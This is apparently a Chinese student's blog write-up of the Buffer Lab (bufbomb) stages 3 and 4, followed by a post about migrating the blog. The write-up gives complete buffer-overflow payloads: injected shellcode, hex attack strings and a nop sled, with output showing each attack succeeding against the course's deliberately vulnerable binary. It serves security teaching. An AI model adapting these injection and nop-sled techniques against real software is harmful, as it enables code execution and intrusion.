8048e0c: c7 44 24 04 47 a5 04 movl $0x804a547,0x4(%esp)
8048e13: 08
8048e14: c7 04 24 01 00 00 00 movl $0x1,(%esp)
8048e1b: e8 a0 fb ff ff call 80489c0 <__printf_chk@plt>
8048e20: 83 c4 24 add $0x24,%esp
8048e23: 5b pop %ebx
8048e24: 5d pop %ebp
8048e25: c3 ret

我们可以知道函数test在栈上分配了0x24=36个字节的空间,而在这之前栈上还有被push的%ebx占4个字节,那么如果要想要定位到调用者栈顶的返回地址,偏移量应为36+4+4=44=0x2c,考虑到栈自高地址向低地址增长,所以应为-0x2c(%ebp)。

而程序从getbuf返回时栈顶指针并没有指向我们设置的返回地址,而是指向了栈上紧邻着该地址的高地址位置,所以我们需要将%esp-4以确保其指向了我们设置的返回地址,使得程序能正确返回。

下面我们使用gcc和objdump生成攻击代码,并且我们最终的攻击代码如下:

1
2
3
4
5
6
7
8
9
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 前40个字节 */
80 2f 68 55 58 2f 68 55 /* 保存的%ebp和返回地址(位于栈上) */
b8 be 8d 04 08 89 45 d4 /* 攻击代码 */
b8 4c 92 de 3d 83 ec 04
c3

最后我们使用hex2raw生成攻击字符串并测试,结果如下:

1
2
3
4
5
6
user@BlackDragon ~/C/B/buflab-handout> cat level3.txt|./hex2raw|./bufbomb -u BlackDragon         
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:Boom!: getbuf returned 0x3dde924c
VALID
NICE JOB!

阶段3完成。

攻击代码的优化

注意到在上面我们的攻击代码还是很麻烦的,我们不仅花了很大的时间保证被保存的%ebp不变,还调整了栈顶指针使得函数能正确返回。

其实,我们可以使用push returnAddress,ret来达到返回到指定位置的效果。也能直接在攻击代码中设置%ebp的值,这样,我们的攻击代码如下:

1
2
3
4
mov $0x3dde924c,%eax ;返回值
mov $0x55682f80,%ebp ;修改%ebp
push $0x8048dbe ;将返回地址压栈
ret

根据以上的信息重新生成我们的攻击代码:

1
2
3
4
5
6
7
8
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 /* 前40个字节 */
00 00 00 00 58 2f 68 55 /* 保存的%ebp和返回地址(位于栈上)*/
b8 4c 92 de 3d bd 80 2f /* 攻击代码 */
68 55 68 be 8d 04 08 c3

使用hex2raw生成攻击字符串并测试,结果如下:

1
2
3
4
5
6
user@BlackDragon ~/C/B/buflab-handout> cat level3-2.txt|./hex2raw|./bufbomb -u BlackDragon          
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:Boom!: getbuf returned 0x3dde924c
VALID
NICE JOB!

阶段4:硝化甘油(Nitroglycerin)

需要为bufbomb以及hex2raw添加命令行参数’-n’以执行本阶段

本阶段非常的具有挑战性,在本阶段中,函数getbuf的栈帧的位置在每次运行时都是不同的。栈随机化的策略明显提升了攻击的难度。

具体来说,在该阶段中,程序会调用getbufn来从标准输入流中读取数据,和getbuf不同的是,getbufn具有512个字节的缓冲区,并且,在相邻两次getbufn的调用中,%ebp的值将会出现最多+-240的误差。除此以外,在该阶段中,程序总共会使用5次你所输入的字符串,也就是说,总共会调用5次getbufn。同阶段3的任务相似,你必须保证每一次调用getbufn,其返回值均为cookie。

若返回值为cookie,则程序会输出”KABOOM!”。你的攻击代码需要在5次栈帧位置不同的函数getbuf的调用中设置cookie为返回值,恢复对栈造成的破坏,设置正确的返回地址,并最终执行ret执行以返回testn。

在本阶段中我们需要使用一种名为nop雪橇(nop sled)的攻击方式来对抗随机化。具体来说,就是通过在攻击代码前大量插入nop(空操作,编码为90)。这样,就算栈的起始地址在一定范围内波动,只要程序能跳转至其中一个nop指令,就能顺着这一组nop指令滑向我们真正的攻击代码。

首先我们需要考虑的是我们攻击代码的长度,由于必须要通过缓冲区溢出覆盖掉函数getbufn的返回地址,所以攻击代码的长度至少为520个字节的缓冲区,4个字节的被保存的%ebp,以及4个字节的返回地址。

我们将攻击代码放在缓冲区的最后,并且用90(nop)填充所有未被利用到的缓冲区以实现一个nop sled。

具体的攻击代码如下:

1
2
3
4
lea 0x28(%esp), %ebp ;复原%ebp
mov $0x3dde924c, %eax ;设置cookie
push $0x8048e3a ;将返回地址压栈
ret

注意到我们无法再采用阶段3中的办法来复原%ebp了。但是注意到,当函数从getbufn返回时,%esp的值是正确的,而%esp和%ebp的相对差值是固定的,因此我们可以根据函数返回时的%esp去还原%ebp,对于testn来说,%esp和%ebp之间相差了36+4=40=0x28个字节。

最后是返回地址的设定,在gdb中观察可知第一次执行时buf的地址为0x55682f40,因此我们将返回地址设置为0x55682f40-480=0x55682d60可保证每次都能命中。

最终我们的攻击代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 /* nop sled */
90 90 90 90 90 90 90 90 90 90 90 90 90 8d 6c 24
28 b8 4c 92 de 3d 68 3a 8e 04 08 c3 60 2d 68 55 /* 攻击代码与返回地址 */

使用hex2raw生成攻击字符串并测试,结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
user@BlackDragon ~/C/B/buflab-handout> cat level4.txt|./hex2raw -n|./bufbomb -u BlackDragon -n  
Userid: BlackDragon
Cookie: 0x3dde924c
Type string:KABOOM!: getbufn returned 0x3dde924c
Keep going
Type string:KABOOM!: getbufn returned 0x3dde924c
Keep going
Type string:KABOOM!: getbufn returned 0x3dde924c
Keep going
Type string:KABOOM!: getbufn returned 0x3dde924c
Keep going
Type string:KABOOM!: getbufn returned 0x3dde924c
VALID
NICE JOB!

阶段4完成。

实验总结

Buffer Lab整体上同Attack Lab的第1部分,代码注入攻击相似,不同在于需要了解IA32的栈帧结构,过程调用以及参数传递的原理。

除此以外,还需要了解对抗栈随机化的一种攻击方式 - nop sled。

评论和共享

迁移说明

发布在 通知

博客历史

  • 本博客自2016年1月4日上线。最早部署于BlackDragon的阿里云上,使用的是WordPress框架,服务器则采用了LAMP环境,DNS解析至一级域名。
  • 博客自上线后曾频繁的出现无法连接至数据库的情况,经过检查可能的原因是Apache占用的内存过大以至于MySQL服务被杀。后采用LNMP环境。
  • 2016年12月12日,将博客整个导出至Hexo并且部署至Github Pages,DNS解析至二级域名blog,原服务器与域名停止解析。

博客迁移

博客迁移的原因
在目前,我仍然希望这个博客的内容能被更多的人关注到,也希望能和更多的人交流,所以向Google和Baidu分别提交了Sitemap。
但是因国内Baidu仍然作为主要的搜索引擎,加上Github屏蔽了Baidu的爬虫,无法让博客的Sitemap被Baidu抓取并索引,在进行了尝试后决定将博客迁移。

在遇到上述问题时,我首先尝试了将hexo生成的博客部署到Github以及Coding两个代码仓库,并通过DNS解析将国内和国外的访问分别解析至Coding和Github,并解决了问题。

但是个人觉得这样做不够优雅,经过考虑还是决定将博客重新迁移至自己的阿里云,使用CentOS7作为Server,Nginx作为Web Server,同时将Github的Repo作为Mirror。

博客于2017年5月11日完成迁移,又于2017年5月12日完成相应的优化调整。

现在你可以访问

这个博客的意义
这个博客不是技术博客(目前),因为我现在并没有足够的技能去支持一个技术博客。我现在仅仅是作为一个学习者记录在学习过程中遇到的各种问题,并且将学到的知识加以总结。欢迎任何的技术交流以及错误指正。
如果我所记录的题目的解答或是实验的报告能够给同样还在学习的你带来帮助,这就是对我最大的鼓励。

迁移过程中遇到的问题

  • 在配置iptables时,我在没有开放22端口的情况下将INPUT的默认策略设置为DROP,直接导致了ssh断开连接,不得不重置了阿里云。
  • /home下的用户文件夹默认不具有读和执行权限,而我的html根目录放在家目录下,这导致了我在部署nginx时出现了403 Forbidden的错误。

优化调整

本次迁移博客同时对于博客做出了以下优化及调整:

  • 将背景图片从PNG格式改为JPG格式,减少网页加载的时间
  • 之前为了美观采用了WQY字体,但是将字体作为资源文件大大延长了加载的时间,现在博客的中文字体采用了Google Fonts中的Noto Sans SC

评论和共享

作者的图片

码龙黑曜

iOS开发者/计算机科学/兽人控


华中科技大学 本科在读


Wuhan, China